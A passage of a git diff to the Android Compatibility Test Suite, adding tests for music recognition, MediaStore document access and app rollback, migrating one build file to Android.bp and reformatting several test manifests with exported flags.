+ * Tests for {@link MusicRecognitionManager}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class MusicRecognitionManagerTest {
+    private static final String TAG = MusicRecognitionManagerTest.class.getSimpleName();
+    private static final long VERIFY_TIMEOUT_MS = 40_000;
+    private static final long VERIFY_APPOP_CHANGE_TIMEOUT_MS = 10000;
+
+    @Rule public TestName mTestName = new TestName();
+    @Rule
+    public final RequiredServiceRule mRequiredServiceRule =
+            new RequiredServiceRule(Context.MUSIC_RECOGNITION_SERVICE);
+
+    private MusicRecognitionManager mManager;
+    private CtsMusicRecognitionService.Watcher mWatcher;
+    @Mock MusicRecognitionManager.RecognitionCallback mCallback;
+    @Captor ArgumentCaptor<Bundle> mBundleCaptor;
+
+    @Before
+    public void setUp() {
+        MockitoAnnotations.initMocks(this);
+        // Grant permission to call the api.
+        escalateTestPermissions();
+
+        mManager = getContext().getSystemService(MusicRecognitionManager.class);
+        mWatcher = CtsMusicRecognitionService.setWatcher();
+        // Tell MusicRecognitionManagerService to use our no-op service instead.
+        setService(CtsMusicRecognitionService.SERVICE_COMPONENT.flattenToString());
+    }
+
+    @After
+    public void tearDown() {
+        resetService();
+        mWatcher = null;
+        CtsMusicRecognitionService.clearWatcher();
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void testOnRecognitionFailed() throws Exception {
+        mWatcher.failureCode = MusicRecognitionManager.RECOGNITION_FAILED_NO_CONNECTIVITY;
+
+        invokeMusicRecognitionApi();
+
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onAudioStreamClosed();
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onRecognitionFailed(any(),
+                eq(MusicRecognitionManager.RECOGNITION_FAILED_NO_CONNECTIVITY));
+        verify(mCallback, never()).onRecognitionSucceeded(any(), any(), any());
+    }
+
+    @Test
+    public void testOnRecognitionSucceeded() throws Exception {
+        mWatcher.result = new MediaMetadata.Builder()
+                .putString(MediaMetadata.METADATA_KEY_ARTIST, "artist")
+                .putString(MediaMetadata.METADATA_KEY_TITLE, "title")
+                .build();
+
+        RecognitionRequest request = invokeMusicRecognitionApi();
+
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onAudioStreamClosed();
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onRecognitionSucceeded(eq(request),
+                eq(mWatcher.result), eq(null));
+        verify(mCallback, never()).onRecognitionFailed(any(), anyInt());
+        // 8 seconds minus 16k frames dropped from the beginning.
+        assertThat(mWatcher.stream).hasLength(256_000 - 32_000);
+    }
+
+    @Test
+    public void testRemovesBindersFromBundle() throws Exception {
+        ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
+        mWatcher.result = new MediaMetadata.Builder().build();
+        mWatcher.resultExtras = new Bundle();
+        mWatcher.resultExtras.putString("stringKey", "stringValue");
+        mWatcher.resultExtras.putBinder("binderKey", new Binder());
+        mWatcher.resultExtras.putParcelable("fdKey", pipe[0]);
+
+        RecognitionRequest request = invokeMusicRecognitionApi();
+
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onAudioStreamClosed();
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onRecognitionSucceeded(eq(request),
+                eq(mWatcher.result), mBundleCaptor.capture());
+
+        assertThat(mBundleCaptor.getValue().getString("stringKey")).isEqualTo("stringValue");
+        // Binder and file descriptor removed.
+        assertThat(mBundleCaptor.getValue().size()).isEqualTo(1);
+
+        pipe[0].close();
+        pipe[1].close();
+    }
+
+    /**
+     * Verifies the shell override is only allowed when the caller of the api is also the owner of
+     * the override service.
+     */
+    @Test
+    public void testDoesntBindToForeignService() {
+        setService(
+                "android.musicrecognition.cts2/android.musicrecognition.cts2"
+                        + ".OutsideOfPackageService");
+
+        invokeMusicRecognitionApi();
+
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onRecognitionFailed(any(),
+                eq(MusicRecognitionManager.RECOGNITION_FAILED_SERVICE_UNAVAILABLE));
+        verify(mCallback, never()).onRecognitionSucceeded(any(), any(), any());
+    }
+
+    @Test
+    public void testRecordAudioOpsAreTracked() {
+        mWatcher.result = new MediaMetadata.Builder()
+                .putString(MediaMetadata.METADATA_KEY_ARTIST, "artist")
+                .putString(MediaMetadata.METADATA_KEY_TITLE, "title")
+                .build();
+
+        final String packageName = CtsMusicRecognitionService.SERVICE_PACKAGE;
+        final int uid = Process.myUid();
+
+
+        final Context context = getInstrumentation().getContext();
+
+        final AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
+        final AppOpsManager.OnOpActiveChangedListener listener = mock(
+                AppOpsManager.OnOpActiveChangedListener.class);
+
+        // Assert the app op is not started
+        assertFalse(appOpsManager.isOpActive(AppOpsManager.OPSTR_RECORD_AUDIO, uid, packageName));
+
+        // Start watching for record audio op
+        appOpsManager.startWatchingActive(new String[] { AppOpsManager.OPSTR_RECORD_AUDIO },
+                context.getMainExecutor(), listener);
+
+        // Started listener used just for verifying attribution tag.
+        final AppOpsManager.OnOpStartedListener startedListener = mock(
+                AppOpsManager.OnOpStartedListener.class);
+
+        appOpsManager.startWatchingStarted(new int[] { AppOpsManager.OP_RECORD_AUDIO },
+                startedListener);
+
+        // Invoke API
+        RecognitionRequest request = invokeMusicRecognitionApi();
+
+        // The app op should start
+        verify(listener, timeout(VERIFY_APPOP_CHANGE_TIMEOUT_MS)
+                .only()).onOpActiveChanged(eq(AppOpsManager.OPSTR_RECORD_AUDIO),
+                eq(uid), eq(packageName), eq(true));
+
+        String expectedAttributionTag = "CtsMusicRecognitionAttributionTag";
+        verify(startedListener, timeout(VERIFY_APPOP_CHANGE_TIMEOUT_MS)
+                .only()).onOpStarted(eq(AppOpsManager.OP_RECORD_AUDIO),
+                    eq(uid), eq(packageName), eq(expectedAttributionTag), anyInt(), anyInt());
+
+        // Wait for streaming to finish.
+        reset(listener);
+        try {
+            Thread.sleep(10000);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+
+        // The app op should finish
+        verify(listener, timeout(VERIFY_APPOP_CHANGE_TIMEOUT_MS)
+                .only()).onOpActiveChanged(eq(AppOpsManager.OPSTR_RECORD_AUDIO),
+                eq(uid), eq(packageName), eq(false));
+
+
+        // Start with a clean slate
+        reset(listener);
+
+        // Stop watching for app op
+        appOpsManager.stopWatchingActive(listener);
+
+        // No other callbacks expected
+        verify(listener, timeout(VERIFY_APPOP_CHANGE_TIMEOUT_MS).times(0))
+                .onOpActiveChanged(eq(AppOpsManager.OPSTR_RECORD_AUDIO),
+                        anyInt(), anyString(), anyBoolean());
+    }
+
+
+    private RecognitionRequest invokeMusicRecognitionApi() {
+        Log.d(TAG, "Invoking service.");
+
+        AudioRecord record = new AudioRecord(MediaRecorder.AudioSource.MIC, 16_000,
+                AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_16BIT, 256_000);
+
+        RecognitionRequest request = new RecognitionRequest.Builder()
+                .setAudioAttributes(new AudioAttributes.Builder()
+                        .setInternalCapturePreset(MediaRecorder.AudioSource.MIC)
+                        .build())
+                .setAudioFormat(record.getFormat())
+                .setCaptureSession(record.getAudioSessionId())
+                .setMaxAudioLengthSeconds(8)
+                // Drop the first second of audio.
+                .setIgnoreBeginningFrames(16_000)
+                .build();
+        mManager.beginStreamingSearch(
+                request,
+                MoreExecutors.directExecutor(),
+                mCallback);
+        Log.d(TAG, "Invoking service done.");
+        return request;
+    }
+
+    /**
+     * Sets the music recognition service.
+     */
+    private static void setService(@NonNull String service) {
+        Log.d(TAG, "Setting music recognition service to " + service);
+        int userId = android.os.Process.myUserHandle().getIdentifier();
+        runShellCommand(
+                "cmd music_recognition set temporary-service %d %s 60000", userId, service);
+    }
+
+    private static void resetService() {
+        Log.d(TAG, "Resetting music recognition service");
+        int userId = android.os.Process.myUserHandle().getIdentifier();
+        runShellCommand("cmd music_recognition set temporary-service %d", userId);
+    }
+
+    private static void escalateTestPermissions() {
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                "android.permission.MANAGE_MUSIC_RECOGNITION");
+    }
+}
diff --git a/tests/netlegacy22.api/Android.bp b/tests/netlegacy22.api/Android.bp
new file mode 100644
index 0000000..7c43905
--- /dev/null
+++ b/tests/netlegacy22.api/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsNetTestCasesLegacyApi22",
+
+    defaults: [
+        "cts_defaults",
+        "framework-connectivity-test-defaults",
+    ],
+
+    srcs: ["src/**/*.java"],
+
+    platform_apis: true,
+
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+
+    ],
+
+    libs: ["android.test.base"],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+
+}
diff --git a/tests/netlegacy22.api/Android.mk b/tests/netlegacy22.api/Android.mk
deleted file mode 100644
index a2ea8df..0000000
--- a/tests/netlegacy22.api/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsNetTestCasesLegacyApi22
-
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt android.test.base
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/netlegacy22.permission/AndroidManifest.xml b/tests/netlegacy22.permission/AndroidManifest.xml
index 14c40e5..85979c9 100644
--- a/tests/netlegacy22.permission/AndroidManifest.xml
+++ b/tests/netlegacy22.permission/AndroidManifest.xml
@@ -16,14 +16,15 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.netlegacy22.permission.cts">
+     package="android.netlegacy22.permission.cts">
 
-    <uses-permission android:name="android.permission.INJECT_EVENTS" />
-    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.INJECT_EVENTS"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <activity android:name="android.permission.cts.PermissionStubActivity"
-                  android:label="PermissionStubActivity">
+             android:label="PermissionStubActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
@@ -32,21 +33,20 @@
     </application>
 
     <!--
-        The CTS stubs package cannot be used as the target application here,
-        since that requires many permissions to be set. Instead, specify this
-        package itself as the target and include any stub activities needed.
+                The CTS stubs package cannot be used as the target application here,
+                since that requires many permissions to be set. Instead, specify this
+                package itself as the target and include any stub activities needed.
 
-        This test package uses the default InstrumentationTestRunner, because
-        the InstrumentationCtsTestRunner is only available in the stubs
-        package. That runner cannot be added to this package either, since it
-        relies on hidden APIs.
-    -->
+                This test package uses the default InstrumentationTestRunner, because
+                the InstrumentationCtsTestRunner is only available in the stubs
+                package. That runner cannot be added to this package either, since it
+                relies on hidden APIs.
+            -->
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.netlegacy22.permission.cts"
-                     android:label="CTS tests of legacy android.net permissions as of API 22">
+         android:targetPackage="android.netlegacy22.permission.cts"
+         android:label="CTS tests of legacy android.net permissions as of API 22">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/netlegacy22.permission/TEST_MAPPING b/tests/netlegacy22.permission/TEST_MAPPING
new file mode 100644
index 0000000..1486eca
--- /dev/null
+++ b/tests/netlegacy22.permission/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetTestCasesLegacyPermission22"
+    }
+  ]
+}
diff --git a/tests/openglperf2/AndroidManifest.xml b/tests/openglperf2/AndroidManifest.xml
index f23e411..5e7d0c1 100644
--- a/tests/openglperf2/AndroidManifest.xml
+++ b/tests/openglperf2/AndroidManifest.xml
@@ -1,53 +1,50 @@
 <?xml version="1.0" encoding="utf-8"?>
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.opengl2.cts"
-    android:versionCode="1"
-    android:versionName="1.0" >
+     package="android.opengl2.cts"
+     android:versionCode="1"
+     android:versionName="1.0">
 
-    <uses-sdk
-        android:minSdkVersion="16"
-        android:targetSdkVersion="17" />
+    <uses-sdk android:minSdkVersion="16"
+         android:targetSdkVersion="17"/>
 
-    <uses-feature
-        android:glEsVersion="0x00020000"
-        android:required="true" />
+    <uses-feature android:glEsVersion="0x00020000"
+         android:required="true"/>
 
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
 
-    <application android:allowBackup="false" >
-        <uses-library android:name="android.test.runner" />
+    <application android:allowBackup="false">
+        <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:name=".primitive.GLPrimitiveActivity"
-            android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
-            android:theme="@android:style/Theme.NoTitleBar.Fullscreen" >
+        <activity android:name=".primitive.GLPrimitiveActivity"
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
+             android:theme="@android:style/Theme.NoTitleBar.Fullscreen"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
 
-                <category android:name="android.intent.category.LAUNCHER" />
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity
-            android:name=".reference.GLReferenceActivity"
-            android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
-            android:theme="@android:style/Theme.NoTitleBar.Fullscreen" >
+        <activity android:name=".reference.GLReferenceActivity"
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
+             android:theme="@android:style/Theme.NoTitleBar.Fullscreen"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
 
-                <category android:name="android.intent.category.LAUNCHER" />
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity
-            android:name=".reference.GLGameActivity"
-            android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
-            android:theme="@android:style/Theme.NoTitleBar.Fullscreen" >
+        <activity android:name=".reference.GLGameActivity"
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
+             android:theme="@android:style/Theme.NoTitleBar.Fullscreen">
         </activity>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="OpenGL ES Benchmark"
-        android:targetPackage="android.opengl2.cts" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="OpenGL ES Benchmark"
+         android:targetPackage="android.opengl2.cts"/>
 
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
index 49876de..4342810 100644
--- a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
+++ b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
@@ -32,6 +32,7 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.content.res.AssetFileDescriptor;
+import android.database.Cursor;
 import android.net.Uri;
 import android.os.Environment;
 import android.os.FileUtils;
@@ -49,6 +50,7 @@
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiObject2;
 import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiScrollable;
 import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
 import android.system.Os;
@@ -82,6 +84,8 @@
 
     private static final int REQUEST_CODE = 42;
     private static final long TIMEOUT_MILLIS = 30 * DateUtils.SECOND_IN_MILLIS;
+    private static final String MEDIA_DOCUMENTS_PROVIDER_AUTHORITY =
+            "com.android.providers.media.documents";
 
     private Instrumentation mInstrumentation;
     private Context mContext;
@@ -91,6 +95,7 @@
     private File mFile;
     private Uri mMediaStoreUri;
     private String mTargetPackageName;
+    private String mDocumentsUiPackageId;
 
     @Parameter(0)
     public String mVolumeName;
@@ -105,6 +110,12 @@
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mContext = InstrumentationRegistry.getTargetContext();
         mDevice = UiDevice.getInstance(mInstrumentation);
+        final PackageManager pm = mContext.getPackageManager();
+        final Intent intent2 = new Intent(Intent.ACTION_OPEN_DOCUMENT);
+        intent2.addCategory(Intent.CATEGORY_OPENABLE);
+        intent2.setType("*/*");
+        final ResolveInfo ri = pm.resolveActivity(intent2, 0);
+        mDocumentsUiPackageId = ri.activityInfo.packageName;
 
         final Intent intent = new Intent(mContext, GetResultActivity.class);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
@@ -174,7 +185,7 @@
     }
 
     @Test
-    public void testGetDocumentUri_Symmetry() throws Exception {
+    public void testGetDocumentUri_Symmetry_ExternalStorageProvider() throws Exception {
         if (!supportsHardware()) return;
 
         prepareFile();
@@ -192,6 +203,99 @@
         assertNotNull(mediaUri);
 
         assertEquals(mMediaStoreUri, mediaUri);
+        assertAccessToMediaUri(mediaUri, mFile);
+    }
+
+    @Test
+    public void testGetMediaUriAccess_MediaDocumentsProvider() throws Exception {
+        if (!supportsHardware()) return;
+
+        prepareFile();
+        clearDocumentsUi();
+        final Intent intent = new Intent();
+        intent.setAction(Intent.ACTION_OPEN_DOCUMENT);
+        intent.addCategory(Intent.CATEGORY_OPENABLE);
+        intent.setType("*/*");
+        mActivity.startActivityForResult(intent, REQUEST_CODE);
+        mDevice.waitForIdle();
+
+        findDocument(mFile.getName()).click();
+        final Result result = mActivity.getResult();
+        final Uri uri = result.data.getData();
+        assertEquals(MEDIA_DOCUMENTS_PROVIDER_AUTHORITY, uri.getAuthority());
+        final Uri mediaUri = MediaStore.getMediaUri(mActivity, uri);
+
+        assertAccessToMediaUri(mediaUri, mFile);
+    }
+
+    private void assertAccessToMediaUri(Uri mediaUri, File file) {
+        final String[] projection = {MediaStore.MediaColumns.DISPLAY_NAME};
+        try (Cursor c = mContext.getContentResolver().query(
+                mediaUri, projection, null, null, null)) {
+            assertTrue(c.moveToFirst());
+            assertEquals(file.getName(), c.getString(0));
+        }
+    }
+
+    /**
+     * Clears the DocumentsUI package data.
+     */
+    protected void clearDocumentsUi() throws Exception {
+        executeShellCommand("pm clear " + getDocumentsUiPackageId());
+    }
+
+    private UiObject findDocument(String label) throws UiObjectNotFoundException {
+        final UiSelector docList = new UiSelector().resourceId(getDocumentsUiPackageId()
+                + ":id/dir_list");
+
+        // Wait for the first list item to appear
+        assertTrue("First list item",
+                new UiObject(docList.childSelector(new UiSelector()))
+                        .waitForExists(TIMEOUT_MILLIS));
+
+        try {
+            //Enforce to set the list mode
+            //Because UiScrollable can't reach the real bottom (when WEB_LINKABLE_FILE item)
+            // in grid mode when screen landscape mode
+            new UiObject(new UiSelector().resourceId(getDocumentsUiPackageId()
+                    + ":id/sub_menu_list")).click();
+            mDevice.waitForIdle();
+        }catch (UiObjectNotFoundException e){
+            //do nothing, already be in list mode.
+        }
+
+        // Repeat swipe gesture to find our item
+        // (UiScrollable#scrollIntoView does not seem to work well with SwipeRefreshLayout)
+        UiObject targetObject = new UiObject(docList.childSelector(new UiSelector().text(label)));
+        UiObject saveButton = findSaveButton();
+        int stepLimit = 10;
+        while (stepLimit-- > 0) {
+            if (targetObject.exists()) {
+                boolean targetObjectFullyVisible = !saveButton.exists()
+                        || targetObject.getVisibleBounds().bottom
+                        <= saveButton.getVisibleBounds().top;
+                if (targetObjectFullyVisible) {
+                    break;
+                }
+            }
+
+            mDevice.swipe(/* startX= */ mDevice.getDisplayWidth() / 2,
+                    /* startY= */ mDevice.getDisplayHeight() / 2,
+                    /* endX= */ mDevice.getDisplayWidth() / 2,
+                    /* endY= */ 0,
+                    /* steps= */ 40);
+        }
+        return targetObject;
+    }
+
+    private UiObject findSaveButton() throws UiObjectNotFoundException {
+        return new UiObject(new UiSelector().resourceId(
+                getDocumentsUiPackageId() + ":id/container_save")
+                .childSelector(new UiSelector().resourceId("android:id/button1")));
+    }
+
+    private String getDocumentsUiPackageId() {
+        return mDocumentsUiPackageId;
     }
 
     private boolean supportsHardware() {
diff --git a/tests/quickaccesswallet/AndroidManifest.xml b/tests/quickaccesswallet/AndroidManifest.xml
index 4b6a994..e7a1df5 100755
--- a/tests/quickaccesswallet/AndroidManifest.xml
+++ b/tests/quickaccesswallet/AndroidManifest.xml
@@ -16,78 +16,76 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.quickaccesswallet.cts"
-          android:targetSandboxVersion="2">
+     package="android.quickaccesswallet.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
     <!-- Required for HostApduService -->
     <uses-permission android:name="android.permission.NFC"/>
     <!-- Required to test QuickAccessWalletClient feature availability -->
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.quickaccesswallet.QuickAccessWalletActivity" >
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.quickaccesswallet.QuickAccessWalletActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.quickaccesswallet.QuickAccessWalletSettingsActivity">
+        <activity android:name="android.quickaccesswallet.QuickAccessWalletSettingsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.quickaccesswallet.action.VIEW_WALLET_SETTINGS" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.service.quickaccesswallet.action.VIEW_WALLET_SETTINGS"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
-        <service
-            android:name="android.quickaccesswallet.TestHostApduService"
-            android:exported="true"
-            android:permission="android.permission.BIND_NFC_SERVICE"
-            android:label="@string/app_name">
+        <service android:name="android.quickaccesswallet.TestHostApduService"
+             android:exported="true"
+             android:permission="android.permission.BIND_NFC_SERVICE"
+             android:label="@string/app_name">
             <intent-filter>
                 <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
-            <meta-data
-                android:name="android.nfc.cardemulation.host_apdu_service"
-                android:resource="@xml/hce_aids"/>
+            <meta-data android:name="android.nfc.cardemulation.host_apdu_service"
+                 android:resource="@xml/hce_aids"/>
         </service>
 
-        <service
-            android:name="android.quickaccesswallet.TestQuickAccessWalletService"
-            android:enabled="true"
-            android:label="@string/app_name"
-            android:icon="@drawable/android"
-            android:permission="android.permission.BIND_QUICK_ACCESS_WALLET_SERVICE">
+        <service android:name="android.quickaccesswallet.TestQuickAccessWalletService"
+             android:enabled="true"
+             android:label="@string/app_name"
+             android:icon="@drawable/android"
+             android:permission="android.permission.BIND_QUICK_ACCESS_WALLET_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.quickaccesswallet.QuickAccessWalletService" />
+                <action android:name="android.service.quickaccesswallet.QuickAccessWalletService"/>
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <meta-data android:name="android.quickaccesswallet"
-                       android:resource="@xml/quickaccesswallet_configuration" />;
+                 android:resource="@xml/quickaccesswallet_configuration"/>;
         </service>
 
-        <service
-            android:name="android.quickaccesswallet.NoPermissionQuickAccessWalletService"
-            android:enabled="false"
-            android:label="@string/app_name"
-            android:icon="@drawable/android">
+        <service android:name="android.quickaccesswallet.NoPermissionQuickAccessWalletService"
+             android:enabled="false"
+             android:label="@string/app_name"
+             android:icon="@drawable/android"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.quickaccesswallet.QuickAccessWalletService" />
+                <action android:name="android.service.quickaccesswallet.QuickAccessWalletService"/>
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <meta-data android:name="android.quickaccesswallet"
-                       android:resource="@xml/quickaccesswallet_configuration" />;
+                 android:resource="@xml/quickaccesswallet_configuration"/>;
         </service>
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="Quick Access Wallet tests"
-        android:targetPackage="android.quickaccesswallet.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="Quick Access Wallet tests"
+         android:targetPackage="android.quickaccesswallet.cts">
     </instrumentation>
 </manifest>
-
diff --git a/tests/rollback/AndroidManifest.xml b/tests/rollback/AndroidManifest.xml
index 3203f25..4ea3ee7 100644
--- a/tests/rollback/AndroidManifest.xml
+++ b/tests/rollback/AndroidManifest.xml
@@ -19,8 +19,6 @@
           package="com.android.cts.rollback" >
 
     <application>
-        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
-                  android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java b/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java
index b6844de..af23ff5 100644
--- a/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java
+++ b/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java
@@ -23,6 +23,7 @@
 
 import android.Manifest;
 import android.content.rollback.RollbackInfo;
+import android.provider.DeviceConfig;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -57,7 +58,9 @@
                 .adoptShellPermissionIdentity(
                     Manifest.permission.INSTALL_PACKAGES,
                     Manifest.permission.DELETE_PACKAGES,
-                    Manifest.permission.TEST_MANAGE_ROLLBACKS);
+                    Manifest.permission.TEST_MANAGE_ROLLBACKS,
+                    Manifest.permission.READ_DEVICE_CONFIG,
+                    Manifest.permission.WRITE_DEVICE_CONFIG);
 
         Uninstall.packages(TestApp.A);
     }
@@ -129,4 +132,53 @@
             InstallUtils.getPackageInstaller().abandonSession(sessionId);
         }
     }
+
+    /**
+     * Test that flags are cleared when a rollback is committed.
+     */
+    @Test
+    public void testRollbackClearsFlags() throws Exception {
+        Install.single(TestApp.A1).commit();
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+        RollbackUtils.waitForRollbackGone(
+                () -> getRollbackManager().getAvailableRollbacks(), TestApp.A);
+
+        Install.single(TestApp.A2).setEnableRollback().commit();
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+        RollbackInfo available = RollbackUtils.waitForAvailableRollback(TestApp.A);
+
+        DeviceConfig.setProperty("configuration", "namespace_to_package_mapping",
+                "testspace:" + TestApp.A, false);
+        DeviceConfig.setProperty("testspace", "flagname", "hello", false);
+        DeviceConfig.setProperty("testspace", "another", "12345", false);
+        assertThat(DeviceConfig.getProperties("testspace").getKeyset()).hasSize(2);
+
+        RollbackUtils.rollback(available.getRollbackId(), TestApp.A2);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+
+        assertThat(DeviceConfig.getProperties("testspace").getKeyset()).hasSize(0);
+    }
+
+    /**
+     * Tests an app can be rolled back to the previous signing key.
+     *
+     * <p>The rollback capability in the signing lineage allows an app to be updated to an APK
+     * signed with a previous signing key in the lineage; however this often defeats the purpose
+     * of key rotation as a compromised key could then be used to roll an app back to the previous
+     * key. To avoid requiring the rollback capability to support APK rollbacks the PackageManager
+     * allows an app to be rolled back to the previous signing key if the rollback install reason
+     * is set.
+     */
+    @Test
+    public void testRollbackAfterKeyRotation() throws Exception {
+        Install.single(TestApp.AOriginal1).commit();
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+
+        Install.single(TestApp.ARotated2).setEnableRollback().commit();
